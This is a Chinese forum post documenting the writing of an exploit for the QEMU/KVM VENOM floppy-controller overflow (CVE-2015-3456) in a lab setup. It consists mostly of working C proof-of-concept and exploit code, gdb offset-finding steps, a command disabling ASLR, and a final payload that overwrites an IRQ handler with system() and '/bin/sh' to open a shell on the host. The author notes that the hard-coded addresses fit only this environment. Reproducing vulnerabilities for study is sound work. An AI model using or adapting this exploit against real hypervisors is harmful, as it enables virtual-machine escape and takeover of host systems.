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[原创]CVE-2015-3456的EXP编写
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发表于: 2022-1-10 10:00
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漏洞编号: qemu kvm CVE‐2015‐3456 (VENOM)
宿主机版本: CentOS Linux release 7.9.2009 (Core)
QEMU 版本: QEMU emulator version 1.5.3
QEMU 虚拟机版本: debian_squeeze_amd64_standard.qcow2
参考资料
0x00 说明
VENOM(毒液)是挺经典的堆溢出漏洞，因为是kvm的洞，当年影响也挺广的。原理在 参考资料1 中讲的很详细，这里就简单说一下，本文相对 参考资料1 ，主要的改进是细化了 Exp 的编写。
CVE-2015-3456 虚拟机逃逸的主要目的是利用 qemu_set_irq 执行一个 handler 函数（本文执行的是 <system> ），从而在宿主机中运行自己想要的代码。opaque 也就是 qemu_set_irq 的参数可操作性很大，因为堆空间实在太大了，而且也不存在什么坏字符（据说有，但我没遇到）。
0x01 环境配置
虚拟机启动脚本
vm.sh12345678910gdb--args \qemu-system-x86_64 \-m1G\-hda debian_squeeze_amd64_standard.qcow2 \-net user,hostfwd=tcp::22222-:22\-net nic \-netdev user,id=t0,-device e1000,netdev=t0,id=nic0 \-smp cores=2,threads=1\-enable-kvm \-cpu kvm64,+smep启动后可以在宿主机通过 ssh 连接虚拟机
1$ ssh-p22222root@127.0.0.1可以通过 scp 传输文件
1$ scp-P22222exp root@127.0.0.1:/root/关闭随机基地址
1$ echo0| tee/proc/sys/kernel/randomize_va_space
0x02 漏洞复现
01. 测试现有 POC
从 参考资料1 中复制现有 POC 并编译上传
1 2 3 | $ gedit cve-2015-3456.poc01.c$ gcc cve-2015-3456.poc01.c -o poc01$ scp -P 22222 poc01 root@127.0.0.1:/root/ |
现有 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include <sys/io.h>#include <stdio.h>#define FIFO 0x3f5int main(){ int i; iopl(3); outb(0x08e,0x3f5); for(i = 0;i < 10000000;i++) outb(0x42,0x3f5); return 0;} |
连接到 QEMU 虚拟机，并运行 POC
1 2 | $ ssh -p 22222 root@127.0.0.1$ ./poc01 |
寄存器：
调用堆栈：
02. 寻找 RIP 地址
使用 msf 生成字符串
1 | $ msf-pattern_create -l 10000 |
编译上传
1 2 3 | $ gedit cve-2015-3456.test.c$ gcc cve-2015-3456.test.c -o test$ scp -P 22222 test root@127.0.0.1:/root/ |
POC 源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #include <sys/io.h>#include <stdio.h>// void outb(unsigned char value, unsigned short int port);// void outsb(unsigned short int port, const void *addr, unsigned long int count);#define FIFO 0x3f5// buf太长了，在正文中省略unsigned char buf[] = "Aa0...1Mv2M";int main(){ int i; iopl(3); outb(0x08e,FIFO); for(i = 0;i < 10000;i++) { outb(0x42,FIFO); } outsb(FIFO, buf, 10000); return 0;} |
运行得到如下信息：
调用堆栈：
ide_ioport_read 中 opaque 被覆盖，通过 opaque 地址信息 辅助定位，查看一下 opaque 中的内容：
1 | (gdb) x/16xw 0x5555567b7a38 |
使用 msf 定位 RIP 和 ide_ioport_read
计算 RIP 所在偏移
1 2 3 4 5 | # 3879 - 1831 = 0x800# 0x5555567b7a38 + 0x800 = 0x5555567B8238# 0x5555567B8238 + 8 = 0x5555567B8240# RIP 所在位置为 0x5555567B8238 # RIP 之后的位置是 0x5555567B8240 |
03. 修改 POC
1 2 3 | $ gedit cve-2015-3456.poc02.c$ gcc cve-2015-3456.poc02.c -o poc02$ scp -P 22222 poc02 root@127.0.0.1:/root/ |
POC02 源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #include <sys/io.h>#include <stdio.h>// void outb(unsigned char value, unsigned short int port);// void outsb(unsigned short int port, const void *addr, unsigned long int count);#define FIFO 0x3f5int main(){ int i; iopl(3); outb(0x08e,FIFO); for(i = 0;i < 13879;i++) { outb(0x42,FIFO); } outsb(FIFO, "AAAAAAAA", 8); for(i = 0;i < 100;i++) { outb(0x42,FIFO); } return 0;} |
查看定位信息
1 | x/16xw 0x5555567B8238 |
结果如下图所示，定位没有问题
0x03 编写 EXP
根据 参考资料一 寻找可以利用的点
需要用到如下信息：
1 2 3 | # system 0x7ffff6be2520# "/bin/sh" 0x7ffff5e8dee9# RIP之后的位置 0x5555567B8240 |
01. 首先测试一下 qemu_set_irq
1 2 3 | $ gedit cve-2015-3456.exp01.c$ gcc cve-2015-3456.exp01.c -o exp01$ scp -P 22222 exp01 root@127.0.0.1:/root/ |
EXP01源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #include <sys/io.h>#include <stdio.h>// void outb(unsigned char value, unsigned short int port);// void outsb(unsigned short int port, const void *addr, unsigned long int count);#define FIFO 0x3f5int main(){ int i; iopl(3); outb(0x08e,FIFO); for(i = 0;i < 13879;i++) { outb(0x42,FIFO); } // 0x7f ff f6 be 25 20 // $1 = {int (const char *)} 0x7ffff6be2520 <system> outsb(FIFO, "\x20\x25\xbe\xf6\xff\x7f\x00\x00", 8); // 0x7f ff f5 e8 de e9 // 0x7ffff5e8dee9: "/bin/sh" outsb(FIFO, "\xe9\xde\xe8\xf5\xff\x7f\x00\x00", 8); for(i = 0;i < 100;i++) { outb(0x42,FIFO); } return 0;} |
1 2 3 4 5 6 7 8 9 | # 查看调用堆栈，可以看到调用链是 ide_ioport_read -> qemu_irq_lower -> qemu_set_irq (gdb) bt# 查看 irq 中的信息，目标是把 handler 指向 <system> ， opaque 指向 "/bin/sh"# 从下面的截图中可以看到 irq 当前指向的是 <system> 地址(gdb) p irq[0]# 确认一下，确实指向的是 <system> 地址(gdb) x/16xw 0x7ffff6be2520 |
02. 修改 POC 为 EXP
EXP 源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #include <sys/io.h>#include <stdio.h>// void outb(unsigned char value, unsigned short int port);// void outsb(unsigned short int port, const void *addr, unsigned long int count);#define FIFO 0x3f5int main(){ int i; iopl(3); outb(0x08e,FIFO); for(i = 0;i < 13879;i++) { outb(0x42,FIFO); } // 0x55 55 56 7B 82 40 outsb(FIFO, "\x40\x82\x7b\x56\x55\x55\x00\x00", 8); // 0x7f ff f6 be 25 20 // $1 = {int (const char *)} 0x7ffff6be2520 <system> outsb(FIFO, "\x20\x25\xbe\xf6\xff\x7f\x00\x00", 8);#if 1 // 打开一个宿主机的 shell // 0x7f ff f5 e8 de e9 // 0x7ffff5e8dee9: "/bin/sh" outsb(FIFO, "\xe9\xde\xe8\xf5\xff\x7f\x00\x00", 8);#endif#if 0 // 创建个文件，或者随便什么操作 outsb(FIFO, "\x50\x82\x7b\x56\x55\x55\x00\x00", 8); outsb(FIFO, "touch /tmp/kvm_xxx", 19);#endif for(i = 0;i < 100;i++) { outb(0x42,FIFO); } return 0;} |
编译上传
1 2 3 | $ gedit cve-2015-3456.exp.c$ gcc cve-2015-3456.exp.c -o exp$ scp -P 22222 exp root@127.0.0.1:/root/ |
连接服务器，运行exp
1 2 | $ ssh -p 22222 root@127.0.0.1$ ./exp |
最终结果是在宿主机上开启了一个 shell
完成。
0x04 总结
- 文档是去年写的，翻笔记找出来，这几天没事又走了一遍，没想出来怎么改进，一年了还是没什么进步。（去年记录的唯一一篇我自己还能看懂的笔记？）
- 漏洞太老了，很难遇到这么经典的老虚拟机了。
- 而且不同环境下地址都不一样，本 Exp 不具有通用性，所以就看个热闹吧，没什么事可以复现一下玩玩。
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
最后于 2022-1-10 15:40
被sea14编辑
，原因： 忘附参考资料的链接了
